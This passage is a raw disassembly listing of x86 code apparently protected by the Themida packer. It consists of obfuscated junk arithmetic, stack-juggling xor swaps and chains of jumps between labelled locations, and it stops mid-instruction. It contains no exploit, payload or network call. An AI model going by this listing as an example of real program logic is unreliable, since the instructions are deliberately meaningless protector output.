loc_564E51: ; CODE XREF: sub_562ABA+44A2j sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 pop ecx add ecx, 4 jmp loc_5650EA ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb word ptr [esp+28h+var_28], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_564E77: ; CODE XREF: sub_562ABA+A926j mov esp, [esp+2Ch+var_2C] push 17CCh mov [esp+30h+var_32+2], edx push esp jmp loc_56292A ; --------------------------------------------------------------------------- loc_564E88: ; CODE XREF: sub_562ABA+6DDBj add edx, 4 jmp loc_5660B9 ; --------------------------------------------------------------------------- loc_564E93: ; CODE XREF: sub_562ABA+8789j add edx, edi pop edi sub esi, edx pop edx push ebp push 24997386h mov ebp, [esp+34h+var_36+2] add esp, 4 push eax mov eax, 547A6B46h and ebp, eax jmp loc_569A6C ; --------------------------------------------------------------------------- loc_564EB5: ; CODE XREF: sub_562ABA+141Dj push [esp+4Ah+var_4A] mov edx, [esp+4Eh+var_4E] add esp, 4 jmp loc_56EC5D ; --------------------------------------------------------------------------- loc_564EC6: ; CODE XREF: sub_562ABA+6C75j push 39613CC5h jmp loc_568036 ; --------------------------------------------------------------------------- loc_564ED0: ; CODE XREF: sub_562ABA+C4D6j sub edi, 741B61B6h mov ebx, edi pop edi push ebp mov ebp, 6F44776Fh add edx, 6D64759Bh sub edx, ebp sub edx, 6D64759Bh pop ebp jmp loc_56F779 ; --------------------------------------------------------------------------- loc_564EF3: ; CODE XREF: sub_562ABA-2404j pop ecx push eax mov eax, 4 push ebp mov ebp, 7E575C72h jmp loc_56157B ; --------------------------------------------------------------------------- mov ecx, [esp+0] jmp loc_570B7B ; --------------------------------------------------------------------------- loc_564F0D: ; CODE XREF: sub_562ABA+260Dj mov edx, 8445649h sub ebx, 3A3D0EB8h add ebx, edx add ebx, 3A3D0EB8h pop edx add esi, ebx pop ebx mov ebx, [esp-8+arg_4] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56AB24 ; --------------------------------------------------------------------------- loc_564F3B: ; CODE XREF: sub_562ABA+C666j add bx, 46D8h jmp loc_562D18 ; --------------------------------------------------------------------------- loc_564F45: ; CODE XREF: sub_562ABA+A1BDj pop eax jmp loc_56939C ; --------------------------------------------------------------------------- loc_564F4B: ; CODE XREF: sub_562ABA-42E8j add eax, 63A82519h add eax, edi sub eax, 63A82519h pop edi push ecx mov ecx, 296C44B2h sub ecx, 296C44B0h add eax, ecx pop ecx xor eax, [esp+1Eh+var_1E] xor [esp+1Eh+var_1E], eax xor eax, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] shr byte ptr [esp+1Eh+var_1E], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_564F7C: ; CODE XREF: sub_562ABA-459Bj mov ecx, [esp+1Ah+var_1A] jmp loc_566F38 ; --------------------------------------------------------------------------- loc_564F84: ; CODE XREF: sub_562ABA+6D55j push edx jmp loc_55FD70 ; --------------------------------------------------------------------------- loc_564F8A: ; CODE XREF: sub_562ABA+27D6j pop eax xchg ecx, [esp+1Ah+var_1A] pop esp push eax sub [esp+1Ah+var_1A], 57BC20DBh mov ebx, [esp+1Ah+var_1A] add esp, 4 jmp loc_566C8E ; --------------------------------------------------------------------------- loc_564FA2: ; CODE XREF: sub_562ABA+8B27j pop ebx add eax, ecx add eax, 6E13214Bh push 3E71h mov [esp+16h+var_16], ebx push eax mov eax, 324D7C0Eh mov ebx, eax pop eax sub eax, 38D83991h add eax, ebx jmp loc_56F302 ; --------------------------------------------------------------------------- loc_564FC7: ; CODE XREF: sub_562ABA+2A35j mov esi, [esp+16h+var_16] add esp, 4 push 2F5Bh mov [esp+16h+var_16], ebp push 51Bh mov [esp+1Ah+var_1A], ebx mov ebx, 613742E4h mov ebp, ebx pop ebx push edi mov edi, 1AEB6D50h add eax, edi mov edi, [esp+1Ah+var_1A] add esp, 4 push ebx jmp loc_55E65D ; --------------------------------------------------------------------------- loc_564FFC: ; CODE XREF: sub_562ABA+CCB4j push [esp+1Ah+var_1A] pop esi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+1Eh+var_1E] mov esp, [esp+1Eh+var_1E] jmp loc_561C84 ; --------------------------------------------------------------------------- loc_56501A: ; CODE XREF: sub_562ABA+9EBBj add edx, 3B8361ECh mov eax, [esp+1Eh+var_1E] add esp, 4 sub edx, 4 xchg edx, [esp+1Ah+var_1A] pop esp mov [esp+16h+var_16], ebx mov eax, [esp+16h+var_16] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] push ecx push esp mov ecx, [esp+22h+var_22] add esp, 4 jmp loc_566C3D ; --------------------------------------------------------------------------- loc_565052: ; CODE XREF: sub_562ABA-13AFj mov [esp+26h+var_28+2], edx jmp loc_56CE62 ; --------------------------------------------------------------------------- loc_56505A: ; CODE XREF: sub_562ABA+72C4j pop edx jmp loc_56A429 ; --------------------------------------------------------------------------- loc_565060: ; CODE XREF: sub_562ABA+EED3j mov [esp+22h+var_22], edi sub esp, 4 mov [esp+26h+var_28+2], ecx push 66F10679h pop ecx push ecx xor [esp+2Ah+var_2C+2], 1A08316Ah pop edi jmp loc_561463 ; --------------------------------------------------------------------------- loc_565080: ; CODE XREF: sub_562ABA+D1AAj mov [esp+26h+var_28+2], ecx sub esp, 4 mov [esp+2Ah+var_2C+2], esi mov esi, 71671EA9h sub esi, 0FFFFFFFFh sub esi, 0C5558A3h jmp loc_56AC2C ; --------------------------------------------------------------------------- loc_56509F: ; CODE XREF: sub_562ABA-3C36j mov ebp, 673633C9h jmp loc_569AD4 ; --------------------------------------------------------------------------- loc_5650A9: ; CODE XREF: sub_562ABA+B3C9j sub esi, 0BA85893h add esi, 30707295h add esi, ebx sub esi, 30707295h push ebx mov ebx, 1B201255h shr ebx, 3 push edx jmp loc_564F0D ; --------------------------------------------------------------------------- loc_5650CC: ; CODE XREF: sub_562ABA+1EC5j or dl, bl mov ebx, [esp-0Ch+arg_8] add esp, 4 sub dl, 0E2h push eax mov al, dl mov bh, al jmp loc_56EC63 ; --------------------------------------------------------------------------- loc_5650E4: ; CODE XREF: sub_562ABA+3ECEj pop ebp jmp loc_56121E ; --------------------------------------------------------------------------- loc_5650EA: ; CODE XREF: sub_562ABA+23A8j sub esp, 4 mov [esp+0], ebx push 3BD7h mov [esp+32h+var_32], edi push 7E026AA5h jmp loc_5616E0 ; --------------------------------------------------------------------------- loc_565102: ; CODE XREF: sub_562ABA+B492j mov eax, [esp+36h+var_36] add esp, 4 and eax, ebx push [esp+32h+var_32] pop ebx jmp loc_56407E ; --------------------------------------------------------------------------- loc_565116: ; CODE XREF: sub_562ABA+5C44j shr esi, 5 jmp loc_568794 ; --------------------------------------------------------------------------- loc_56511E: ; CODE XREF: sub_562ABA+89Cj mov [esp+0], ebp jmp loc_5628C6 ; --------------------------------------------------------------------------- loc_565126: ; CODE XREF: sub_562ABA-112Bj push edi jmp loc_563511 ; --------------------------------------------------------------------------- loc_56512C: ; CODE XREF: sub_562ABA-238Dj pop esp sub esp, 4 mov [esp+0], edi mov edi, 3B26134Ch neg edi inc edi shl edi, 8 push esi mov esi, 6C14659Eh xor edi, esi pop esi push esi mov esi, 78365A75h jmp loc_56438C ; --------------------------------------------------------------------------- loc_565152: ; CODE XREF: sub_562ABA+2F4Bj add ecx, 247E2F23h pop edx push esi mov esi, 11867097h add eax, esi pop esi add eax, ecx sub eax, 11867097h jmp loc_565C63 ; --------------------------------------------------------------------------- loc_56516E: ; CODE XREF: sub_562ABA+486Cj add eax, 4 jmp loc_56B55A ; --------------------------------------------------------------------------- loc_565176: ; CODE XREF: sub_562ABA+3F76j pop ebp add esp, 4 shl ebp, 1 or ebp, 3A90A5Eh shl ebp, 1 sub ebp, 9EC86181h and esi, ebp jmp loc_5611C2 ; --------------------------------------------------------------------------- loc_565194: ; CODE XREF: Themida_:0055F0C4j push [esp-0Ah+arg_4+2] pop edx add esp, 4 push esi mov esi, esp push eax mov eax, 4 add esi, 3F895AACh add esi, eax push edx jmp loc_56E0B5 ; --------------------------------------------------------------------------- loc_5651B2: ; CODE XREF: sub_562ABA+D21Aj xchg edx, [esp+0] pop esp add ebp, 4 add ebp, 2 xor ebp, [esp-6+arg_0+2] xor [esp-6+arg_0+2], ebp xor ebp, [esp-6+arg_0+2] mov esp, [esp-6+arg_0+2] mov ax, word ptr [esp-6+arg_0+2] push 5A27h mov [esp+0], edx jmp loc_563DB2 ; --------------------------------------------------------------------------- loc_5651DC: ; CODE XREF: sub_562ABA+69C3j sub ebp, esi jmp loc_5701BC ; --------------------------------------------------------------------------- loc_5651E3: ; CODE XREF: sub_562ABA+7125j pop esi dec edx dec edx jmp loc_565A7F ; --------------------------------------------------------------------------- loc_5651EB: ; CODE XREF: sub_562ABA+1521j push [esp+36h+var_36] pop edx add esp, 4 jmp loc_560EC7 ; --------------------------------------------------------------------------- loc_5651FA: ; CODE XREF: sub_562ABA+21E0j mov eax, ebx jmp loc_56C3BE ; --------------------------------------------------------------------------- loc_565201: ; CODE XREF: sub_562ABA-1C58j mov ecx, 786B3EDDh jmp loc_561A7A ; --------------------------------------------------------------------------- loc_56520B: ; CODE XREF: sub_562ABA+AB0j add ebp, 4 add ebp, 4 xchg ebp, [esp+36h+var_36] mov esp, [esp+36h+var_36] add esi, 4 xchg esi, [esp+36h+var_36] mov esp, [esp+36h+var_36] movzx ecx, ax jmp loc_566BE7 ; --------------------------------------------------------------------------- loc_56522B: ; CODE XREF: sub_562ABA+75B4j pop ebx shl ebx, 7 shr ebx, 1 push edi mov edi, 6C2D5A08h or ebx, edi jmp loc_56A49E ; --------------------------------------------------------------------------- loc_56523E: ; CODE XREF: sub_562ABA+3C5Dj push ebp mov ebp, 371422D0h mov ecx, ebp jmp loc_5692B3 ; --------------------------------------------------------------------------- loc_56524B: ; DATA XREF: Themida_:0055E008o mov cx, word ptr [esp+3Ah+var_3A] push 66FEh mov [esp+3Eh+var_3E], eax push 759Fh jmp loc_571DC0 ; --------------------------------------------------------------------------- loc_565261: ; CODE XREF: sub_562ABA+EA82j add esi, 4 add esi, 4 xchg esi, [esp+42h+var_42] jmp loc_56179B ; --------------------------------------------------------------------------- loc_565275: ; CODE XREF: sub_562ABA+A9E6j add ecx, eax mov eax, [esp+42h+var_42] add esp, 4 push 4E05h mov [esp+42h+var_42], eax push 4 pop eax add ecx, eax jmp loc_564F8A ; --------------------------------------------------------------------------- loc_565295: ; CODE XREF: sub_562ABA+4FC7j add eax, ecx jmp loc_56B5F7 ; --------------------------------------------------------------------------- loc_56529C: ; CODE XREF: sub_562ABA+B0FFj pop edx pop [esp+3Eh+var_3E] jmp loc_56AC44 ; --------------------------------------------------------------------------- loc_5652A5: ; CODE XREF: sub_562ABA+6782j pop ecx jmp loc_564B70 ; --------------------------------------------------------------------------- loc_5652AB: ; CODE XREF: sub_562ABA+7A88j mov ebp, [esp+36h+var_36] jmp loc_57168D ; --------------------------------------------------------------------------- loc_5652B3: ; CODE XREF: sub_562ABA+A343j mov ebp, 8235A2Dh add esi, ebp pop ebp add esi, eax jmp loc_5727E5 ; --------------------------------------------------------------------------- loc_5652C2: ; CODE XREF: sub_562ABA+F730j push 7F4Ch mov [esp+36h+var_36], ecx jmp loc_565893 ; --------------------------------------------------------------------------- loc_5652CF: ; CODE XREF: sub_562ABA+34B6j pop edx xchg ecx, [esp+32h+var_32] jmp loc_56730D ; --------------------------------------------------------------------------- loc_5652D8: ; CODE XREF: sub_562ABA+9095j and esi, ebp pop ebp shr esi, 4 add esi, 4B730768h jmp loc_56D293 ; --------------------------------------------------------------------------- loc_5652E9: ; CODE XREF: sub_562ABA+96E9j push ebp mov ebp, edx push esi jmp loc_5662A2 ; --------------------------------------------------------------------------- loc_5652F2: ; CODE XREF: sub_56099B+7j pop ebp jmp loc_5662B2 ; --------------------------------------------------------------------------- loc_5652F8: ; CODE XREF: sub_562ABA-31FDj mov ebx, [esp+1Eh+var_1E] add esp, 4 dec eax add eax, 11F30858h push ecx mov ecx, 31EF3831h or eax, ecx jmp loc_56C95A ; --------------------------------------------------------------------------- loc_565311: ; CODE XREF: sub_562ABA+10102j mov eax, 8617C4F4h mov ebx, eax jmp loc_56CAE3 ; --------------------------------------------------------------------------- push [esp+1Eh+var_1E] mov eax, [esp+22h+var_22] push ecx mov ecx, esp jmp loc_55E83D ; --------------------------------------------------------------------------- loc_56532B: ; CODE XREF: sub_562ABA+71ACj pop ebp add edx, 8C096CEAh jmp loc_56A058 ; --------------------------------------------------------------------------- loc_565337: ; CODE XREF: sub_562ABA+6A87j xchg ecx, [esp+22h+var_22] pop esp mov [esp+1Eh+var_1E], eax mov al, 90h sub bl, al pop eax push eax jmp loc_56C203 ; --------------------------------------------------------------------------- loc_565349: ; CODE XREF: sub_562ABA+7F39j sub ebp, 0D4C65F76h or esi, ebp pop ebp jmp loc_572822 ; --------------------------------------------------------------------------- loc_565357: ; CODE XREF: sub_562ABA+3690j mov edi, 2F5406E2h sub ecx, edi pop edi add ecx, edx add ecx, 2F5406E2h sub ecx, 4D044A3Dh pop edx xor eax, ecx pop ecx jmp loc_5695A7 ; --------------------------------------------------------------------------- loc_565376: ; CODE XREF: sub_562ABA+1010j push esp mov esi, [esp-8+arg_4] add esp, 4 push eax mov eax, 25072A36h or eax, 25503216h jmp loc_569588 ; --------------------------------------------------------------------------- loc_565390: ; CODE XREF: sub_562ABA-414Dj sub ecx, edi pop edi sub ecx, 53BA236Eh sub ecx, 776C56DDh add ecx, edi add ecx, 776C56DDh add ecx, 53BA236Eh sub esp, 4 mov [esp+22h+var_22], esi mov esi, 428B4E32h add ecx, esi pop esi push ebx jmp loc_570281 ; --------------------------------------------------------------------------- loc_5653C1: ; CODE XREF: sub_562ABA+50B1j pop esp add esp, 4 sub eax, 4 xor eax, [esp+1Ah+var_1A] jmp loc_56B08A ; --------------------------------------------------------------------------- loc_5653D2: ; CODE XREF: sub_562ABA-48C2j push edx mov edx, 39D97956h jmp loc_56BA00 ; --------------------------------------------------------------------------- lodsd sub eax, 613742E4h add eax, 9990B59h jmp loc_56B78A ; --------------------------------------------------------------------------- loc_5653ED: ; CODE XREF: sub_562ABA+4FBAj mov edx, 4 add [esp+4], edx pop edx push dword ptr [esp+0] pop eax add esp, 4 push edi mov edi, 4 jmp loc_56769D ; --------------------------------------------------------------------------- loc_565409: ; CODE XREF: sub_562ABA-1092j sub [esp-6+arg_0+2], 1F673736h mov ecx, [esp-6+arg_0+2] jmp sub_55F3A9 ; --------------------------------------------------------------------------- loc_565418: ; CODE XREF: sub_562ABA+68BEj xor eax, ebx xor ebx, eax xor eax, ebx not ebx xor eax, ebx xor ebx, eax xor eax, ebx shr eax, 6 add eax, 0FCCD1A00h add ecx, eax push [esp-6+arg_0+2] jmp loc_56FF0B ; --------------------------------------------------------------------------- loc_565438: ; CODE XREF: sub_562ABA+93CCj push 592Ch mov [esp+2+var_4+2], ecx jmp loc_56049F ; --------------------------------------------------------------------------- loc_565445: ; CODE XREF: sub_562ABA+597Bj mov [esp+2+var_4+2], ebp add [esp+2+var_4+2], 3BDB1831h mov ecx, [esp+2+var_4+2] add esp, 4 push ebp mov ebp, 4C342ACh and ebp, 64712AD0h add ebp, 5B341F9Fh dec ebp xor ebp, 64AE3A2Fh sub ecx, 43F93489h sub ecx, ebp add ecx, 43F93489h mov ebp, [esp+2+var_4+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_56F6E7 ; --------------------------------------------------------------------------- loc_565493: ; CODE XREF: sub_562ABA+726Bj mov esi, 4 jmp loc_567BBF ; --------------------------------------------------------------------------- loc_56549D: ; CODE XREF: sub_562ABA+5563j mov edx, edi pop edi shl edx, 3 jmp loc_55EDAD ; --------------------------------------------------------------------------- loc_5654A8: ; CODE XREF: sub_562ABA+7B28j push ebx push edx push ebx push ecx mov cl, al mov bl, cl pop ecx mov dl, bl pop ebx push 7947h mov [esp+0], eax mov al, dl mov bh, al mov eax, [esp+0] jmp loc_563B65 ; --------------------------------------------------------------------------- loc_5654C8: ; CODE XREF: sub_562ABA+304Fj mov edx, [esp+0] add esp, 4 jmp loc_561FFA ; --------------------------------------------------------------------------- loc_5654D6: ; CODE XREF: sub_562ABA+61DFj add edi, 23141590h mov esi, [esp+0Ah+var_C+2] add esp, 4 jmp loc_570408 ; --------------------------------------------------------------------------- loc_5654E7: ; CODE XREF: sub_562ABA+8CE2j push 9990B59h pop esi sub eax, esi jmp loc_564FC7 ; --------------------------------------------------------------------------- loc_5654F4: ; CODE XREF: sub_562ABA+C91j push 3C7Dh mov [esp+52h+var_52], eax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_565501: ; CODE XREF: sub_562ABA+4689j push 0B19h mov [esp+56h+var_56], ebp push 9722AAFh pop ebp or ebp, 340B393Ah jmp loc_569EFF ; --------------------------------------------------------------------------- loc_56551A: ; CODE XREF: sub_562ABA+15F7j push dword ptr [esp+4] jmp loc_565D0E ; --------------------------------------------------------------------------- loc_565523: ; CODE XREF: sub_562ABA+1B00j sub esp, 4 mov [esp+36h+var_36], esp jmp loc_56DD9F ; --------------------------------------------------------------------------- loc_56552E: ; CODE XREF: sub_562ABA+BF0Aj pop esp or ecx, ecx jz loc_56E462 sub esp, 4 mov [esp+36h+var_36], edi sub esp, 4 push esp pop [esp+3Eh+var_3E] push ebp mov ebp, 4 add [esp+3Eh+var_3A], ebp pop ebp push [esp+3Ah+var_3A] jmp loc_570304 ; --------------------------------------------------------------------------- loc_56555A: ; CODE XREF: sub_562ABA+BF4j pop esp push [esp+42h+var_42] pop eax add esp, 4 sub esp, 4 mov [esp+42h+var_42], edi jmp loc_55E345 ; --------------------------------------------------------------------------- loc_565573: ; CODE XREF: sub_562ABA+9F2Bj pop esi shr esi, 8 or esi, 5E3065B9h xor esi, 58862287h not esi xchg ecx, esi jmp loc_56CBCF ; --------------------------------------------------------------------------- loc_56558C: ; CODE XREF: sub_562ABA+4A08j add esp, 4 push edi jmp loc_56CA87 ; --------------------------------------------------------------------------- loc_565595: ; CODE XREF: sub_562ABA+85A0j sub esp, 4 jmp near ptr byte_55ECB7 ; --------------------------------------------------------------------------- loc_56559D: ; CODE XREF: sub_562ABA-1026j push esp pop ecx add ecx, 4 push edx push eax jmp loc_56300E ; --------------------------------------------------------------------------- loc_5655AC: ; CODE XREF: sub_562ABA+87DEj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp add eax, 4 push ebp mov ebp, 2 add eax, 31EE3177h push ebp mov ebp, 17890026h sub eax, 12277E9Eh add eax, ebp jmp loc_564E4B ; --------------------------------------------------------------------------- loc_5655DD: ; CODE XREF: sub_562ABA+4373j mov edi, 73A81AF7h add ebp, edi pop edi jmp loc_56756C ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx push esp pop ebx jmp loc_5727C0 ; --------------------------------------------------------------------------- loc_5655F5: ; CODE XREF: sub_562ABA+8760j shr eax, 0Ch jmp loc_56973F ; --------------------------------------------------------------------------- loc_5655FD: ; CODE XREF: sub_571EF9+11j add ecx, edi add ecx, 536B0613h mov edi, [esp+12h+var_12] add esp, 4 xchg ecx, [esp+0] jmp loc_56A9A1 ; --------------------------------------------------------------------------- loc_565616: ; CODE XREF: sub_562ABA+3D29j mov [esp+0], esp push esi push ebx mov ebx, 5DDB1CC3h push 5DDB1CC7h pop esi xor esi, ebx jmp loc_570BFB ; --------------------------------------------------------------------------- mov ax, word ptr [esp+16h+var_16] push 1E76h mov [esp+1Ah+var_1A], ebx mov ebx, esp push ecx mov ecx, 16502946h push edx jmp loc_571682 ; --------------------------------------------------------------------------- loc_565647: ; CODE XREF: sub_562ABA+4CB6j xor edx, ebx pop ebx push ebp mov ebp, 930CCCh inc ebp jmp loc_56E069 ; --------------------------------------------------------------------------- loc_565656: ; CODE XREF: sub_562ABA+9F73j not eax add eax, 0A2CB564Eh jmp loc_570006 ; --------------------------------------------------------------------------- loc_565662: ; CODE XREF: sub_562ABA-1B9Fj mov edi, 33506DA5h jmp loc_56C64A ; --------------------------------------------------------------------------- loc_56566C: ; CODE XREF: sub_562ABA+1313j mov [esp+3Ah+var_3A], esp add [esp+3Ah+var_3A], 4 mov edx, [esp+3Ah+var_3A] add esp, 4 push ebp mov ebp, 1F3F0A46h sub ebp, 0C4137A3h add ebp, 0ED022D61h add edx, ebp pop ebp add edx, 4 xchg edx, [esp+36h+var_36] pop esp push ebx mov ebx, esp push edx mov edx, 0A17888h shl edx, 8 or edx, 1C673D76h xor edx, 0BD7FBD72h add ebx, edx pop edx sub ebx, 4 xor ebx, [esp+36h+var_36] xor [esp+36h+var_36], ebx xor ebx, [esp+36h+var_36] pop esp mov [esp+32h+var_32], edi push dword ptr [esp+4] pop edi pop [esp+32h+var_32] jmp loc_56638C ; --------------------------------------------------------------------------- loc_5656D6: ; CODE XREF: sub_562ABA-3C85j push [esp+22h+var_22] jmp loc_56F907 ; --------------------------------------------------------------------------- loc_5656DE: ; CODE XREF: sub_562ABA-B4Dj add bh, 0E7h shr bh, 6 sub bh, 2Bh add bh, 0B0h sub ch, bh mov ebx, [esp+6+var_8+2] jmp loc_55F5A8 ; --------------------------------------------------------------------------- loc_5656F4: ; CODE XREF: sub_562ABA+6AE8j xchg esi, [esp+6+var_8+2] pop esp mov [esp+2+var_4+2], esi jmp loc_570728 ; --------------------------------------------------------------------------- loc_565700: ; CODE XREF: sub_562ABA+A62Ej add ecx, 4 push ebx mov ebx, 4 jmp loc_568556 ; --------------------------------------------------------------------------- loc_565711: ; CODE XREF: sub_562ABA-156Fj mov esp, [esp-0Eh+arg_8+2] test cx, ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56571D: ; DATA XREF: Themida_:0055DDF4o mov ax, word ptr [esp-0Ah+arg_4+2] sub esp, 4 mov [esp-6+arg_0+2], eax mov eax, esp push edx mov edx, 4E1F2E40h dec edx jmp loc_56C99C ; --------------------------------------------------------------------------- push dword ptr [esp+0] push [esp+2+var_4+2] jmp loc_561C4B ; --------------------------------------------------------------------------- loc_565743: ; CODE XREF: sub_562ABA+5A97j push edx mov edx, 1E880A60h or edx, 5C692214h or edx, 46B338C5h xor edx, 0F4DF7C29h jmp loc_55E10D ; --------------------------------------------------------------------------- loc_565760: ; CODE XREF: sub_562ABA-318Aj push edx pop edi pop edx xchg edi, edx jmp loc_561F88 ; --------------------------------------------------------------------------- loc_56576A: ; CODE XREF: sub_562ABA+57A2j add ecx, 9D30AF5Fh add edx, ecx pop ecx add ecx, edx pop edx xor ecx, [esp+6+var_8+2] xor [esp+6+var_8+2], ecx xor ecx, [esp+6+var_8+2] pop esp push 7798h jmp loc_56DD76 ; --------------------------------------------------------------------------- loc_56578A: ; CODE XREF: sub_562ABA-49B2j xor edi, ecx pop ecx sub edi, 9DB45216h jmp loc_5697F9 ; --------------------------------------------------------------------------- loc_565798: ; CODE XREF: sub_562ABA+39j mov dh, 1Ch xor dh, 5 inc dh xor dh, 1Ah sub dh, 59h push ecx mov cl, 6Bh xor dh, cl pop ecx or cl, dh pop edx shl cl, 1 xor cl, 52h mov al, cl pop ecx not al sub al, 9Bh jmp loc_565A0A ; --------------------------------------------------------------------------- loc_5657BF: ; CODE XREF: sub_562ABA+B90j not ecx push 7F3Ch jmp loc_568DF4 ; --------------------------------------------------------------------------- loc_5657CB: ; CODE XREF: sub_562ABA+18ECj mov [esp+16h+var_16], ecx mov ecx, 2 add edx, 12903EADh jmp loc_566A35 ; --------------------------------------------------------------------------- loc_5657DE: ; CODE XREF: sub_562ABA+327Cj push [esp+16h+var_16] jmp loc_565B24 ; --------------------------------------------------------------------------- loc_5657E6: ; CODE XREF: sub_562ABA+B9E5j xor [esp+1Ah+var_16], esi jmp loc_56016D ; --------------------------------------------------------------------------- loc_5657EF: ; CODE XREF: sub_562ABA+EA09j push edi jmp loc_56F48E ; --------------------------------------------------------------------------- loc_5657F5: ; CODE XREF: sub_562ABA+76C5j push ebx mov ebx, edi jmp loc_56C474 ; --------------------------------------------------------------------------- loc_5657FD: ; CODE XREF: sub_562ABA+7225j add ebp, 4 sub esp, 4 jmp loc_567D88 ; --------------------------------------------------------------------------- loc_56580E: ; CODE XREF: sub_562ABA+6439j mov [esp+26h+var_28+2], esi mov esi, 4 add edi, esi jmp loc_571BDC ; --------------------------------------------------------------------------- loc_56581D: ; CODE XREF: sub_562ABA+490Cj sub ecx, esi mov esi, [esp+26h+var_28+2] add esp, 4 xor ecx, 70F009BDh push edx mov edx, 6B197DFDh neg edx sub edx, 5A070AA9h and edx, 7AD24E81h xor edx, 58F64932h xor edx, 37E035A4h sub ecx, edx pop edx push eax push ebp mov ebp, 681348CEh jmp loc_562F2C ; --------------------------------------------------------------------------- loc_56585A: ; CODE XREF: sub_562ABA-467Cj pop edx xor ecx, edx jmp loc_562010 ; --------------------------------------------------------------------------- loc_565862: ; CODE XREF: sub_562ABA+D2C6j movzx eax, al push small 477h mov word ptr [esp-6+arg_0+2], ax jmp loc_55E09F ; --------------------------------------------------------------------------- loc_565872: ; CODE XREF: sub_562ABA-16EFj dec ebx push eax mov eax, 7FA7BFEAh xor ebx, eax mov eax, [esp-0Ch+arg_8] jmp loc_56E510 ; --------------------------------------------------------------------------- loc_565883: ; CODE XREF: sub_562ABA+49F7j push 6Fh mov [esp-8+arg_4], eax push edx pop eax pop edx jmp loc_56C7EA ; --------------------------------------------------------------------------- loc_565893: ; CODE XREF: sub_562ABA+2810j mov ecx, 1B8B1C53h push edx mov edx, 14714924h jmp loc_5682F4 ; --------------------------------------------------------------------------- loc_5658A3: ; CODE XREF: sub_562ABA-1D07j sub eax, 0BC3328C5h sub ecx, 359F0A32h sub esp, 4 mov [esp+36h+var_36], edx mov edx, 58080ABFh jmp loc_5667CD ; --------------------------------------------------------------------------- loc_5658BE: ; CODE XREF: sub_562ABA-1460j shr edx, 8 jmp loc_57195F ; --------------------------------------------------------------------------- loc_5658C6: ; CODE XREF: sub_562ABA+8E1Aj or edi, 729D7874h jmp loc_56CD76 ; --------------------------------------------------------------------------- loc_5658D1: ; CODE XREF: sub_562ABA+D97Ej mov ch, bl jmp loc_56D8E6 ; --------------------------------------------------------------------------- loc_5658D8: ; CODE XREF: sub_562ABA+73D6j mov [esp+32h+var_32], ebp push esp pop ebp push 3F65h mov [esp+36h+var_36], ebx mov ebx, 4 push esi mov esi, 5F4D0A65h not esi not esi shl esi, 7 push ecx jmp loc_56E745 ; --------------------------------------------------------------------------- loc_5658FD: ; CODE XREF: sub_562ABA+300Aj push ebx push 0EE348C5h jmp loc_56EEE6 ; --------------------------------------------------------------------------- loc_565908: ; CODE XREF: sub_562ABA+CECFj dec ah sub ah, 0C4h add ah, 0F9h xor ah, 3 mov cl, ah pop eax sub al, 40h add al, cl add al, 40h mov cx, word ptr [esp+42h+var_42] add esp, 2 add al, ch sub al, 79h mov ecx, [esp+3Eh+var_3E] jmp sub_560F80 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+3Eh+var_3E] sub esp, 4 mov [esp+42h+var_42], eax mov eax, esp sub esp, 4 mov [esp+46h+var_46], ebx push ebp push 34847E9h pop ebp mov ebx, 0FCB7B81Bh sub ebx, 7C582D61h push eax mov eax, 49922AE3h add eax, 4A1809FCh xor eax, 514619Ch or eax, 20B1947h add eax, 0CD19BB7Eh jmp loc_56761F ; --------------------------------------------------------------------------- loc_565972: ; CODE XREF: sub_562ABA+F5B9j add eax, 4 xchg eax, [esp+4Eh+var_4E] mov esp, [esp+4Eh+var_4E] add ebp, 4 push ebx mov ebx, 2 jmp loc_55FD49 ; --------------------------------------------------------------------------- loc_56598C: ; CODE XREF: sub_562ABA+972Bj mov ah, 0BBh neg ah and ah, 8Eh xor ah, 72h sub ah, 44h push small 116Bh mov word ptr [esp+54h+var_56+2], dx mov dh, 0Eh xor ah, dh pop dx push small 28CCh mov word ptr [esp+54h+var_56+2], cx mov ch, 57h add ch, 0B1h neg ch jmp loc_560E24 ; --------------------------------------------------------------------------- loc_5659BB: ; CODE XREF: sub_562ABA+9548j sub ebp, edx pop edx jmp loc_5668BF ; --------------------------------------------------------------------------- loc_5659C3: ; CODE XREF: sub_562ABA+A822j pop ax sub bl, 92h neg bl jmp loc_569BE4 ; --------------------------------------------------------------------------- loc_5659CF: ; CODE XREF: sub_562ABA+C9FFj mov edx, 244E4C8Eh push ebp mov ebp, 60352D93h push edx mov edx, 3B9A05FCh jmp loc_5711F2 ; --------------------------------------------------------------------------- loc_5659E5: ; CODE XREF: sub_562ABA+8354j add edi, 7BC30E46h jmp loc_5638F2 ; --------------------------------------------------------------------------- loc_5659F0: ; CODE XREF: sub_562ABA+4BA7j mov edx, 19DA1588h not edx sub edx, 4BF6A5D7h sub ecx, 247E2F23h add ecx, edx jmp loc_565152 ; --------------------------------------------------------------------------- loc_565A0A: ; CODE XREF: sub_562ABA+2D00j add al, 0DDh mov bh, al mov eax, [esp+2Ah+var_2C+2] add esp, 4 xor bh, 0D6h push ecx jmp loc_566FCD ; --------------------------------------------------------------------------- loc_565A1D: ; CODE XREF: sub_562ABA+83F1j mov [esp+2Ah+var_2C+2], ebx mov ebx, 3250683Ch jmp loc_561D9C ; --------------------------------------------------------------------------- loc_565A2A: ; CODE XREF: sub_562ABA-50Dj push small 2645h mov word ptr [esp+2Ch+var_2C], dx push 3E50h mov [esp+30h+var_32+2], ecx jmp loc_55FE55 ; --------------------------------------------------------------------------- loc_565A3F: ; CODE XREF: sub_562ABA-3D9Dj mov esp, [esp+1Eh+var_1E] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp+22h+var_22] xor 